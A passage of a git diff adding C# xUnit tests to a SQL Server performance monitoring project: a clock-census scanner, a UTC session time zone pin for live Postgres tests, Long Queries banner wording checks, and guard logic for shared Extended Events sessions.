+            "A live Postgres test counts plan blocks and reads the wall clock without LiveClock (#5608). The count depends on where a "
+          + "chunk boundary falls in the seeded rows, so it changes with the hour the test runs. Seed the end of the window with "
+          + "LiveClock.AnchoredEnd() (or LiveClock.Now() for a window that may straddle a boundary the same way every run), or name the "
+          + "file in LiveClockCensusTests.s_allowed with the reason the count cannot depend on a boundary:\n  " + string.Join("\n  ", problems));
+
+        var stale = Stale(rows, s_allowed);
+        Assert.True(
+            stale.Count == 0,
+            "These allow-list entries no longer name a live block-counting file that reads the wall clock without LiveClock; delete them:\n  "
+          + string.Join("\n  ", stale));
+
+        Assert.True(
+            rows.Count(r => r.Live && r.CountsBlocks) >= BlockCountingFloor,
+            "the scan found fewer live block-counting files than expected, so it stopped matching and 'no problems' would be vacuous");
+    }
+
+    [Fact]
+    public void TheDetector_FlagsAClockedPlanReader_AndIgnoresAnchoredAndUnclockedFiles()
+    {
+        var bare = ScanText("Bare.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = DateTime.UtcNow; var s = \"EXPLAIN (COSTS OFF) SELECT 1\"; } }");
+        var catalog = ScanText("Catalog.cs", "// ScratchPostgres\nclass A { void B() { var e = DateTimeOffset.UtcNow; var s = \"SELECT * FROM timescaledb_information.chunks\"; } }");
+        var anchored = ScanText("Anchored.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = LiveClock.AnchoredEnd(); var s = \"EXPLAIN SELECT 1\"; var n = DateTime.UtcNow; } }");
+        var noClock = ScanText("NoClock.cs", "// DARLING_TEST_PG\nclass A { void B() { var s = \"EXPLAIN SELECT 1\"; } }");
+        var notLive = ScanText("NotLive.cs", "class A { void B() { var e = DateTime.UtcNow; var s = \"EXPLAIN SELECT 1\"; } }");
+        var noPlan = ScanText("NoPlan.cs", "// DARLING_TEST_PG\nclass A { void B() { var e = DateTime.UtcNow; } }");
+        var rows = new[] { bare, catalog, anchored, noClock, notLive, noPlan };
+
+        Assert.Equal(new[] { "Bare.cs", "Catalog.cs" }, Problems(rows, new Dictionary<string, string>(), r => r.ReadsPlanOrChunks));
+        Assert.Equal(new[] { "Catalog.cs" }, Problems(rows, new Dictionary<string, string> { ["Bare.cs"] = "reason" }, r => r.ReadsPlanOrChunks));
+        Assert.Equal(new[] { "Gone.cs" }, Stale(rows, new Dictionary<string, string> { ["Bare.cs"] = "reason", ["Gone.cs"] = "reason" }, r => r.ReadsPlanOrChunks));
+        Assert.Equal(new[] { "Anchored.cs" }, Stale(rows, new Dictionary<string, string> { ["Anchored.cs"] = "reason" }, r => r.ReadsPlanOrChunks));
+    }
+
+    [Fact]
+    public void EveryLiveTestThatReadsAPlanOrTheChunkCatalog_SeedsThroughTheLiveClock_OrIsAllowedWithAReason()
+    {
+        var rows = Scan();
+
+        var problems = Problems(rows, s_allowedPlanShape, r => r.ReadsPlanOrChunks);
+        Assert.True(
+            problems.Count == 0,
+            "A live Postgres test reads a plan or the chunk catalog and reads the wall clock without LiveClock (#5608). Its seeded window "
+          + "can straddle a chunk boundary, and the plan, the chunks scanned or the chunk membership then change with the hour the test "
+          + "runs. Seed and read through LiveClock.AnchoredEnd() (or LiveClock.Now() where the answer holds in any layout), or name the file "
+          + "in LiveClockCensusTests.s_allowedPlanShape with the reason no assertion in it depends on where a boundary falls:\n  " + string.Join("\n  ", problems));
+
+        var stale = Stale(rows, s_allowedPlanShape, r => r.ReadsPlanOrChunks);
+        Assert.True(
+            stale.Count == 0,
+            "These s_allowedPlanShape entries no longer name a live plan or chunk-catalog file that reads the wall clock without LiveClock; delete them:\n  "
+          + string.Join("\n  ", stale));
+
+        Assert.All(s_allowedPlanShape, entry => Assert.False(string.IsNullOrWhiteSpace(entry.Value), entry.Key + " needs a reason"));
+        Assert.True(
+            rows.Count(r => r.Live && r.ReadsPlanOrChunks) >= PlanReadingFloor,
+            "the scan found fewer live plan-reading files than expected, so it stopped matching and 'no problems' would be vacuous");
+    }
+
+    private static string TestsRoot([CallerFilePath] string thisFile = "") => Path.GetDirectoryName(thisFile)!;
+}
diff --git a/Darling/Darling.Tests/LivePlanShapeIsolationCensusTests.cs b/Darling/Darling.Tests/LivePlanShapeIsolationCensusTests.cs
index 3d7f3bcf7a..6053c8b3eb 100644
--- a/Darling/Darling.Tests/LivePlanShapeIsolationCensusTests.cs
+++ b/Darling/Darling.Tests/LivePlanShapeIsolationCensusTests.cs
@@ -23,6 +23,7 @@ namespace Darling.Tests;
 /// <para>This is a plain token scan over the raw file text and deliberately counts comments: the rule is about
 /// where a file puts its database, not about executable statements, so no comment filter applies.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class LivePlanShapeIsolationCensusTests
 {
     /// <summary>The classes that run <c>EXPLAIN</c> against the shared store and are kept there on purpose, each
diff --git a/Darling/Darling.Tests/LivePostgresCollectionHygieneTests.cs b/Darling/Darling.Tests/LivePostgresCollectionHygieneTests.cs
index e576d2c820..f71f68db73 100644
--- a/Darling/Darling.Tests/LivePostgresCollectionHygieneTests.cs
+++ b/Darling/Darling.Tests/LivePostgresCollectionHygieneTests.cs
@@ -43,6 +43,7 @@ namespace Darling.Tests;
 /// quoted literal keeps those out, and keeps out prose mentions in doc comments (which write the name bare) so a
 /// class that only DESCRIBES the variable is not dragged in.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class LivePostgresCollectionHygieneTests
 {
     /// <summary>The env-var read as it appears in code — quoted, so <c>DARLING_TEST_PGRUNTIME</c> cannot match.</summary>
@@ -71,6 +72,12 @@ public sealed class LivePostgresCollectionHygieneTests
 
     private const string LiveCollectionAttribute = "[Collection(\"" + LiveCollectionName + "\")]";
 
+    /// <summary>
+    /// #5602: the collection that runs ALONE (<c>DisableParallelization</c>), for the classes that write the cluster's
+    /// fixed roles or settings. It is a stronger decision than the live collection's turn-taking, so it counts as one.
+    /// </summary>
+    private const string ClusterRolesCollectionAttribute = "[Collection(\"pg-cluster-roles\")]";
+
     /// <summary>The recorded-exemption marker. Prose, deliberately: the point is that a human wrote down why.</summary>
     private const string OwnStoreMarker = "#1776 own-store";
 
@@ -292,7 +299,8 @@ private static bool CarriesLiveCollectionAttribute(string header)
     {
         foreach (var line in header.Split('\n'))
         {
-            if (line.TrimStart().StartsWith(LiveCollectionAttribute, StringComparison.Ordinal))
+            if (line.TrimStart().StartsWith(LiveCollectionAttribute, StringComparison.Ordinal)
+                || line.TrimStart().StartsWith(ClusterRolesCollectionAttribute, StringComparison.Ordinal))
             {
                 return true;
             }
diff --git a/Darling/Darling.Tests/LiveStoreSessionTimeZone.cs b/Darling/Darling.Tests/LiveStoreSessionTimeZone.cs
new file mode 100644
index 0000000000..71223f8690
--- /dev/null
+++ b/Darling/Darling.Tests/LiveStoreSessionTimeZone.cs
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins every live test's store session to UTC, the way the product pins its own store connections
+/// (<see cref="DarlingStoreConnection.PinSessionTimeZoneUtc"/>). The store's timestamp columns hold naive UTC, and
+/// many reads compare them with the session's clock, so a test store whose server runs in another time zone failed
+/// tests that plant rows relative to UTC now, with no product bug behind them. More than four hundred classes read
+/// DARLING_TEST_PG directly, so the variable is pinned once, when this assembly loads, before any of them reads it.
+/// Pinned by <see cref="LiveStoreSessionTimeZoneTests"/>.
+/// </summary>
+/* #1776 own-store: this class never connects to any store, shared or its own. It rewrites the variable's text once,
+   when the assembly loads and before any live class reads it, so it cannot race the shared store. */
+internal static class LiveStoreSessionTimeZone
+{
+    [ModuleInitializer]
+    internal static void PinTestStoreToUtc()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(connectionString))
+        {
+            return;
+        }
+
+        try
+        {
+            Environment.SetEnvironmentVariable("DARLING_TEST_PG", DarlingStoreConnection.PinSessionTimeZoneUtc(connectionString));
+        }
+        catch (ArgumentException)
+        {
+            /* A malformed string stays as it was, so each live test reports it the way it always has, rather than
+               this initializer failing every test in the assembly at load. */
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs b/Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs
new file mode 100644
index 0000000000..3dc25e6f33
--- /dev/null
+++ b/Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading.Tasks;
+using Npgsql;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every live test reaches the store through DARLING_TEST_PG, and many plant rows relative to UTC now and read them
+/// back through SQL that compares naive UTC timestamps with the session's clock. The product pins every store session
+/// to UTC (<c>DarlingStoreConnection.PinSessionTimeZoneUtc</c>), so a store whose server runs in another time zone
+/// still reads correctly. The test process pins the variable the same way when it loads
+/// (<see cref="LiveStoreSessionTimeZone"/>). Without that, a test store in another zone failed the Azure master-scope
+/// fleet and daily-summary tests with no product bug.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class LiveStoreSessionTimeZoneTests
+{
+    [Fact]
+    public async Task ALiveTestSession_RunsInUtc_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live session time zone test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await using var command = new NpgsqlCommand("SHOW timezone", connection);
+
+        Assert.Equal("UTC", (string?)await command.ExecuteScalarAsync(ct));
+    }
+}
diff --git a/Darling/Darling.Tests/LocalClockBucketKeyTests.cs b/Darling/Darling.Tests/LocalClockBucketKeyTests.cs
index 28f3cda94b..71acd71ef8 100644
--- a/Darling/Darling.Tests/LocalClockBucketKeyTests.cs
+++ b/Darling/Darling.Tests/LocalClockBucketKeyTests.cs
@@ -41,6 +41,7 @@ namespace Darling.Tests;
 /// <c>cpu_utilization_stats</c> and <c>blocked_process_baseline</c> supplies, with a <c>server_properties</c> row
 /// carrying the zone id, lands the EST and EDT rows in one bucket and looks the analysis time up in it.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class LocalClockBucketKeyTests
 {
     /* US Eastern, 2026: spring-forward Sunday 2026-03-08 07:00Z (−05:00 → −04:00), fall-back Sunday 2026-11-01 06:00Z. */
@@ -404,6 +405,7 @@ public void LiteScaffoldAndEventArms_TookTheIdenticalSubstitution()
 /// shared store is established before it runs and the residue check runs after it (#1862, #1873).
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class LocalClockBucketKeyLiveTests
 {
     private const string EasternWindowsId = "Eastern Standard Time";
diff --git a/Darling/Darling.Tests/LockedModeRestoreCoverageTests.cs b/Darling/Darling.Tests/LockedModeRestoreCoverageTests.cs
index 7cbc0abe41..bdaf5a4672 100644
--- a/Darling/Darling.Tests/LockedModeRestoreCoverageTests.cs
+++ b/Darling/Darling.Tests/LockedModeRestoreCoverageTests.cs
@@ -57,6 +57,8 @@ namespace Darling.Tests;
 /// exercised against synthetic input, because a parser that matched nothing would report every step as safe
 /// and every lock file as covered — and would do it in green.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class LockedModeRestoreCoverageTests
 {
     private static readonly string[] s_buildSegments = { ".github", "workflows", "build.yml" };
@@ -448,7 +450,7 @@ public void TheLockedModeRequirement_ReadsEveryRestoreAndOnlyTheMessageIsExempt(
     public void TheMessageExclusion_MovesTheAnchor_AndTheVerdictComesFromWhereItLands()
     {
         var step = RestoreSteps(ReadRepoFileLf(s_buildSegments), ".github/workflows/build.yml")
-            .Single(candidate => candidate.Contains("set -euo pipefail", StringComparison.Ordinal));
+            .Single(candidate => candidate.Contains("- name: Restore dependencies", StringComparison.Ordinal));
 
         var lines = step.Split('\n');
         var mentioned = Array.FindIndex(lines, MentionsRestore);
diff --git a/Darling/Darling.Tests/LongQueryBannerSessionScopeTests.cs b/Darling/Darling.Tests/LongQueryBannerSessionScopeTests.cs
new file mode 100644
index 0000000000..7f191831d7
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryBannerSessionScopeTests.cs
@@ -0,0 +1,111 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Viewer's Long Queries banner, shown while the long-query completion trace is off. Its last sentence says where
+/// turning the trace on creates the Extended Events session. On Azure SQL Database the session is per monitored
+/// database (<c>LongQueryCompletionsCollector.RunsPerDatabase</c>), so the banner says so for that target and keeps
+/// the server wording for every other one. The README's sentence about the session says the same.
+/// </summary>
+public sealed class LongQueryBannerSessionScopeTests
+{
+    [Fact]
+    public void TheViewerBanner_TakesItsTextFromTheTarget_NotFromAFixedServerSentence()
+    {
+        var banner = BannerElement(File.ReadAllText(RepoPath("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml")));
+        Assert.DoesNotContain("session on this server", banner, StringComparison.Ordinal);
+
+        var load = MethodBody(RepoPath("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.LongQueries.cs"), "private async Task LoadLongQueriesAsync(");
+        Assert.Contains("LongQueriesDisabledWarning.Text = LongQueriesDisabledText(_server.EngineEdition)", load, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewerBanner_OnAzureSqlDatabase_SaysEachMonitoredDatabase_NotThisServer()
+    {
+        var text = ViewerServerTab.LongQueriesDisabledText(CollectorEngineCapability.AzureSqlDatabaseEngineEdition);
+
+        Assert.EndsWith(
+            "Enabling it creates this install's Extended Events session in each monitored database. Disabling it drops that session from every database that has it, except where another registration of that database still has the trace on. A database that is also monitored as its own server follows that server's setting.",
+            text,
+            StringComparison.Ordinal);
+        Assert.DoesNotContain("session on this server", text, StringComparison.Ordinal);
+        Assert.Contains("Settings → Collection Schedule → Edit Collector Schedules…", text, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(CollectorEngineCapability.AzureSqlDatabaseEngineEdition)]
+    [InlineData(CollectorEngineCapability.UnknownEngineEdition)]
+    [InlineData(2)]
+    public void TheViewerBanner_NamesTheSessionAsThisInstalls_NotAsOneSessionEveryInstallShares(int engineEdition)
+    {
+        var text = ViewerServerTab.LongQueriesDisabledText(engineEdition);
+
+        Assert.Contains("this install's Extended Events session", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("PerformanceMonitor_LongQueryCompletions", text, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(CollectorEngineCapability.UnknownEngineEdition)]
+    [InlineData(2)]
+    [InlineData(3)]
+    [InlineData(4)]
+    [InlineData(8)]
+    public void TheViewerBanner_OnEveryOtherEdition_KeepsTheServerSentence(int engineEdition)
+    {
+        var text = ViewerServerTab.LongQueriesDisabledText(engineEdition);
+
+        Assert.EndsWith(
+            "Enabling it creates this install's Extended Events session on this server. Disabling it drops that session, unless another registration of this install on the same instance still has the trace on.",
+            text,
+            StringComparison.Ordinal);
+        Assert.DoesNotContain("monitored database", text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheReadme_SaysTheSessionIsPerDatabase_OnAzureSqlDatabase()
+    {
+        var readme = File.ReadAllText(RepoPath("Darling", "README.md"));
+
+        Assert.Contains(
+            "On Azure SQL Database the session is database-scoped. Enabling it creates the session in each monitored database and drops it from any other database that has it. Disabling it drops the session from every database that has it. Neither drop removes the session from a database where another registration of that database still has the trace on. A database that is also monitored as its own server is left to that registration.",
+            readme,
+            StringComparison.Ordinal);
+    }
+
+    /// <summary>The banner TextBlock's own markup, from its name to the end of its start tag.</summary>
+    internal static string BannerElement(string xaml)
+    {
+        var name = xaml.IndexOf("x:Name=\"LongQueriesDisabledWarning\"", StringComparison.Ordinal);
+        Assert.True(name >= 0, "the Long Queries tab has its disabled-trace banner");
+        var end = xaml.IndexOf("/>", name, StringComparison.Ordinal);
+        Assert.True(end > name, "the banner TextBlock is self-closing");
+        return xaml[name..end];
+    }
+
+    private static string MethodBody(string path, string signature)
+    {
+        var source = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(path));
+        var at = source.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(at >= 0, $"{signature} must exist");
+        return CSharpSourceWalker.BraceBalanced(source, source.IndexOf('{', at));
+    }
+
+    private static string RepoPath(params string[] parts) => Path.Combine([RepoRoot(), .. parts]);
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", ".."));
+}
diff --git a/Darling/Darling.Tests/LongQueryTraceInstanceGuardTests.cs b/Darling/Darling.Tests/LongQueryTraceInstanceGuardTests.cs
new file mode 100644
index 0000000000..6a87086904
--- /dev/null
+++ b/Darling/Darling.Tests/LongQueryTraceInstanceGuardTests.cs
@@ -0,0 +1,318 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4961: the on-premises counterpart of the Azure co-owner rule. Where the session is the server's own, two registrations
+/// of one install can reach the same instance under different host names, so the instance's last-known
+/// <c>@@SERVERNAME</c> decides whether one registration's drop would stop the trace another one keeps. These pin the pure
+/// decision both apps share, and the read of the name from a carrier's persisted identity row.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class LongQueryTraceInstanceGuardTests
+{
+    private static LongQueryTraceInstance Other(string? name, bool enabled = true, bool traceOn = true) => new(enabled, traceOn, name);
+
+    [Fact]
+    public void AnotherRegistrationOfTheSameInstance_WithItsTraceOn_KeepsTheSession()
+    {
+        Assert.True(LongQueryTraceDatabases.KeptOnInstance("SQL01", new[] { Other("SQL01") }));
+    }
+
+    [Fact]
+    public void TheNamesCompareIgnoringCaseAndPadding()
+    {
+        Assert.True(LongQueryTraceDatabases.KeptOnInstance(" sql01 ", new[] { Other("SQL01 ") }));
+    }
+
+    [Theory]
+    [InlineData(false, true)]
+    [InlineData(true, false)]
+    public void ARegistrationThatIsNotMonitoredOrHasItsTraceOff_KeepsNothing(bool enabled, bool traceOn)
+    {
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance("SQL01", new[] { Other("SQL01", enabled, traceOn) }));
+    }
+
+    [Fact]
+    public void ARegistrationOfAnotherInstance_KeepsNothing()
+    {
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance("SQL01", new[] { Other("SQL02") }));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("  ")]
+    public void AnUnknownName_MatchesNothing_OnEitherSide(string? unknown)
+    {
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance(unknown, new[] { Other("SQL01") }));
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance("SQL01", new[] { Other(unknown) }));
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance(unknown, new[] { Other(unknown) }));
+    }
+
+    [Fact]
+    public void NoOtherRegistration_KeepsNothing()
+    {
+        Assert.False(LongQueryTraceDatabases.KeptOnInstance("SQL01", new List<LongQueryTraceInstance>()));
+    }
+
+    /* A removed server is checked once and never again, so its session stays whenever the match cannot be ruled out: its own
+       name or the name of a registration that keeps the trace on is not known. The trace-off drop asks Kept instead, and an
+       unknown name there matches nothing. */
+
+    [Fact]
+    public void TheRemoval_DropsTheSession_WhenNoOtherRegistrationCouldKeepIt_WhateverTheNames()
+    {
+        Assert.Null(LongQueryTraceInstanceGuard.NoKeepers.RemovalSkipReason());
+        Assert.Null(new LongQueryTraceInstanceGuard(null, new[] { Other(null, enabled: false), Other(null, traceOn: false) }).RemovalSkipReason());
+        Assert.Null(new LongQueryTraceInstanceGuard("SQL01", new[] { Other(null, enabled: false), Other(null, traceOn: false) }).RemovalSkipReason());
+    }
+
+    [Fact]
+    public void TheRemoval_LeavesTheSession_WhenItsOwnNameIsNotKnown_AndAnotherRegistrationKeepsTheTraceOn()
+    {
+        var guard = new LongQueryTraceInstanceGuard(null, new[] { Other("SQL01") });
+
+        Assert.Contains("this server's instance name is not known", guard.RemovalSkipReason(), System.StringComparison.Ordinal);
+        Assert.False(guard.Kept);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("  ")]
+    public void TheRemoval_LeavesTheSession_WhenAKeepersNameIsNotKnown_BecauseItCannotBeRuledOut(string? unknown)
+    {
+        var guard = new LongQueryTraceInstanceGuard("SQL01", new[] { Other(unknown) });
+
+        Assert.Contains("another registration", guard.RemovalSkipReason(), System.StringComparison.Ordinal);
+        Assert.Contains("not known", guard.RemovalSkipReason(), System.StringComparison.Ordinal);
+
+        /* The trace-off drop is not the removal: a name that is not known matches nothing there, and it drops as it always did. */
+        Assert.False(guard.Kept);
+    }
+
+    [Fact]
+    public void TheRemoval_LeavesTheSession_WhenOneKeeperIsAnotherInstance_AndAnotherKeepersNameIsNotKnown()
+    {
+        var guard = new LongQueryTraceInstanceGuard("SQL01", new[] { Other("SQL02"), Other(null) });
+
+        Assert.NotNull(guard.RemovalSkipReason());
+    }
+
+    [Fact]
+    public void TheRemoval_IgnoresTheUnknownNameOfARegistrationThatCouldNotKeepTheSession()
+    {
+        var guard = new LongQueryTraceInstanceGuard("SQL01", new[] { Other("SQL02"), Other(null, enabled: false), Other(null, traceOn: false) });
+
+        Assert.Null(guard.RemovalSkipReason());
+    }
+
+    [Fact]
+    public void TheRemoval_DropsTheSession_WhenEveryKeepersKnownNameIsAnotherInstance()
+    {
+        Assert.Null(new LongQueryTraceInstanceGuard("SQL01", new[] { Other("SQL02"), Other("SQL03") }).RemovalSkipReason());
+    }
+
+    [Fact]
+    public void TheRemoval_SaysSo_WhenAnotherRegistrationKeepsTheSessionOnTheSameInstance()
+    {
+        var guard = new LongQueryTraceInstanceGuard("sql01", new[] { Other("SQL02"), Other(" SQL01 ") });
+
+        Assert.Contains("keeps it on the same instance", guard.RemovalSkipReason(), System.StringComparison.Ordinal);
+        Assert.True(guard.Kept);
+    }
+
+    [Fact]
+    public void ThePersistedIdentityRow_GivesItsName()
+    {
+        var stamp = new ServerEpoch.Stamp(new System.DateTime(2026, 10, 2, 8, 0, 0, System.DateTimeKind.Utc), "SQL01");
+        var state = new Dictionary<string, string> { [ServerEpoch.IdentityStateKey] = ServerEpoch.Serialize(stamp) };
+
+        Assert.Equal("SQL01", ServerEpoch.LastKnownName(state));
+    }
+
+    [Fact]
+    public void AnIdentityRowWithNoName_AndNoRow_GiveNull()
+    {
+        var noName = new Dictionary<string, string>
+        {
+            [ServerEpoch.IdentityStateKey] = ServerEpoch.Serialize(new ServerEpoch.Stamp(new System.DateTime(2026, 10, 2, 8, 0, 0, System.DateTimeKind.Utc), null)),
+        };
+
+        Assert.Null(ServerEpoch.LastKnownName(noName));
+        Assert.Null(ServerEpoch.LastKnownName(new Dictionary<string, string>()));
+        Assert.Null(ServerEpoch.LastKnownName(new Dictionary<string, string> { [ServerEpoch.IdentityStateKey] = "not an identity" }));
+    }
+
+    [Fact]
+    public void TheCarriers_AreTheCollectorsThatPersistTheIdentity()
+    {
+        Assert.Equal(new[] { WaitStatsCollector.Instance.Name, CpuUtilizationCollector.Instance.Name }, ServerEpoch.IdentityCarrierCollectors);
+    }
+
+    /* ── The guard the worker builds for one registration (#4961) ── */
+
+    private const int OwnId = 4944;
+
+    private static MonitoredServer Registration(int id, string engine = "sqlserver") =>
+        new() { Name = "registration-" + id, Host = "host-" + id, Engine = engine, StoredServerId = id };
+
+    /// <summary>
+    /// The persisted identity rows of a few registrations, read the way the store's reader gives them: one carrier's state at
+    /// a time. Every read is counted, with the registration it was for.
+    /// </summary>
+    private sealed class Names
+    {
+        private readonly Dictionary<(int Id, string Carrier), string> _held = new();
+
+        public List<int> Reads { get; } = new();
+
+        public Names Hold(int id, string name, string? carrier = null)
+        {
+            _held[(id, carrier ?? ServerEpoch.IdentityCarrierCollectors[0])] = name;
+            return this;
+        }
+
+        public System.Threading.Tasks.Task<Dictionary<string, string>> ReadAsync(int id, string carrier)
+        {
+            Reads.Add(id);
+            var state = new Dictionary<string, string>();
+            if (_held.TryGetValue((id, carrier), out var name))
+            {
+                state[ServerEpoch.IdentityStateKey] = ServerEpoch.Serialize(
+                    new ServerEpoch.Stamp(new System.DateTime(2026, 10, 2, 8, 0, 0, System.DateTimeKind.Utc), name));
+            }
+
+            return System.Threading.Tasks.Task.FromResult(state);
+        }
+    }
+
+    private static System.Threading.Tasks.Task<LongQueryTraceInstanceGuard> GuardFor(IReadOnlyList<MonitoredServer>? live, Names names, int[]? traceOff = null) =>
+        DarlingWorker.LongQueryTraceInstanceGuardFor(OwnId, live, id => traceOff is null || !traceOff.Contains(id), names.ReadAsync);
+
+    /// <summary>A SQL Server registration whose trace is on, on the instance this registration's own name says, keeps the session, and both names were read.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_ASqlServerRegistrationWithItsTraceOn_IsAKeeper_WhenBothNamesAreKnown()
+    {
+        var names = new Names().Hold(OwnId, "SQL01").Hold(101, "sql01");
+
+        var guard = await GuardFor(new[] { Registration(101) }, names);
+
+        Assert.Equal("SQL01", guard.ServerName);
+        var keeper = Assert.Single(guard.Keepers);
+        Assert.Equal(new LongQueryTraceInstance(Enabled: true, TraceOn: true, "sql01"), keeper);
+        Assert.True(guard.Kept);
+        Assert.Contains(101, names.Reads);
+    }
+
+    /// <summary>A PostgreSQL registration holds no Extended Events session: it is not a keeper, even with its trace on, and its state is never read.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_APostgresRegistration_IsNotAKeeper_AndNothingIsRead()
+    {
+        var names = new Names().Hold(OwnId, "SQL01").Hold(101, "SQL01");
+
+        var guard = await GuardFor(new[] { Registration(101, engine: "postgres") }, names);
+
+        Assert.Empty(guard.Keepers);
+        Assert.False(guard.Kept);
+        Assert.Empty(names.Reads);
+    }
+
+    /// <summary>A registration whose effective trace setting is off is not a keeper, whatever name it last reported.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_ARegistrationWithItsTraceOff_IsNotAKeeper_AndNothingIsRead()
+    {
+        var names = new Names().Hold(OwnId, "SQL01").Hold(101, "SQL01");
+
+        var guard = await GuardFor(new[] { Registration(101) }, names, traceOff: new[] { 101 });
+
+        Assert.Empty(guard.Keepers);
+        Assert.False(guard.Kept);
+        Assert.Empty(names.Reads);
+    }
+
+    /// <summary>
+    /// The live registry holds only the monitored servers, so a registration that is disabled is not in it and keeps nothing.
+    /// With no registry published yet, or only this registration in it, there is no other registration to keep the session.
+    /// </summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_WithNoOtherRegistrationInTheRegistry_HasNoKeepers_AndReadsNothing()
+    {
+        var names = new Names().Hold(OwnId, "SQL01");
+
+        Assert.Same(LongQueryTraceInstanceGuard.NoKeepers, await GuardFor(null, names));
+        Assert.Same(LongQueryTraceInstanceGuard.NoKeepers, await GuardFor(System.Array.Empty<MonitoredServer>(), names));
+        Assert.Same(LongQueryTraceInstanceGuard.NoKeepers, await GuardFor(new[] { Registration(OwnId) }, names));
+        Assert.Empty(names.Reads);
+    }
+
+    /// <summary>With no name of its own, this registration matches nothing, so the names of the others are not read.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_WithNoNameOfItsOwn_ReadsNoKeepersName_AndMatchesNothing()
+    {
+        var names = new Names().Hold(101, "SQL01");
+
+        var guard = await GuardFor(new[] { Registration(101) }, names);
+
+        Assert.Null(guard.ServerName);
+        Assert.False(guard.Kept);
+        Assert.All(names.Reads, id => Assert.Equal(OwnId, id));
+        Assert.NotEmpty(names.Reads);
+
+        /* The keeper is still listed, with no name, for a caller that must rule it out. */
+        Assert.Equal(new LongQueryTraceInstance(Enabled: true, TraceOn: true, ServerName: null), Assert.Single(guard.Keepers));
+    }
+
+    /// <summary>A keeper that has reported no name yet is not a match, and a keeper of another instance is not one either.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_AKeeperWithNoNameYet_OrAnotherInstance_IsNotAMatch()
+    {
+        var names = new Names().Hold(OwnId, "SQL01").Hold(102, "SQL02");
+
+        var guard = await GuardFor(new[] { Registration(101), Registration(102) }, names);
+
+        Assert.Equal(2, guard.Keepers.Count);
+        Assert.False(guard.Kept);
+        Assert.Null(guard.Keepers[0].ServerName);
+        Assert.Equal("SQL02", guard.Keepers[1].ServerName);
+    }
+
+    /// <summary>The name comes from the first carrier that holds one, so a name only the second carrier holds still matches.</summary>
+    [Fact]
+    public async System.Threading.Tasks.Task TheGuard_ANameOnlyTheSecondCarrierHolds_StillMatches()
+    {
+        var second = ServerEpoch.IdentityCarrierCollectors[1];
